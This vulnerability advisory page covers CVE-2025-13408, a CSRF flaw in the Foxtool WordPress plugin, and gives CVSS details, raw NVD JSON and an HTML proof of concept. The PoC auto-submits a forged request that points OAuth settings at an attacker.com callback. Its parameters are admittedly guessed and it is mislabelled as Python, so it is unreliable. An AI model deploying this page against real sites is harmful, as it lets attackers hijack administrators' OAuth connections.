Security Vulnerability Report
中文
CVE-2025-13408 CVSS 4.3 MEDIUM

CVE-2025-13408

Published: 2025-12-12 04:15:42
Last Modified: 2026-04-15 00:35:42

Description

The Foxtool All-in-One: Contact chat button, Custom login, Media optimize images plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.5.2. This is due to missing or incorrect nonce validation on the foxtool_login_google() function. This makes it possible for unauthenticated attackers to establish an OAuth Connection via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Foxtool All-in-One plugin < 2.5.2
Foxtool All-in-One plugin <= 2.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-13408 --> <!-- This PoC demonstrates the CSRF vulnerability in Foxtool plugin --> <!-- It forces admin to establish OAuth connection with attacker's Google account --> <!DOCTYPE html> <html> <head> <title>CSRF Attack - CVE-2025-13408</title> </head> <body> <h1>CSRF Attack PoC for Foxtool Plugin</h1> <p>This page will automatically submit a forged request to establish OAuth connection.</p> <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form"> <!-- Required parameters for OAuth connection --> <input type="hidden" name="action" value="foxtool_google_connect"> <input type="hidden" name="google_client_id" value="attacker-controlled-client-id"> <input type="hidden" name="google_client_secret" value="attacker-controlled-secret"> <input type="hidden" name="google_redirect_uri" value="https://attacker.com/oauth/callback"> <!-- Additional required fields based on plugin implementation --> <input type="hidden" name="foxtool_google_nonce" value=""> <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=foxtool-settings"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrf-form').submit(); </script> <p>If you see this message, the attack may have failed or requires user interaction.</p> </body> </html> <!-- Alternative: Link-based attack --> <!-- <a href="http://target-site.com/wp-admin/admin-post.php?action=foxtool_google_connect&google_client_id=attacker&google_client_secret=attacker">Click here</a> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13408", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:41.833", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Foxtool All-in-One: Contact chat button, Custom login, Media optimize images plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.5.2. This is due to missing or incorrect nonce validation on the foxtool_login_google() function. This makes it possible for unauthenticated attackers to establish an OAuth Connection via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.svn.wordpress.org/foxtool/tags/2.5.2/inc/goo.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3416529%40foxtool&new=3416529%40foxtool&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/foxtool/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/40886b66-f6a2-404c-9d0d-5fc3da6a896c?source=cve", "source": "[email protected]"}]}}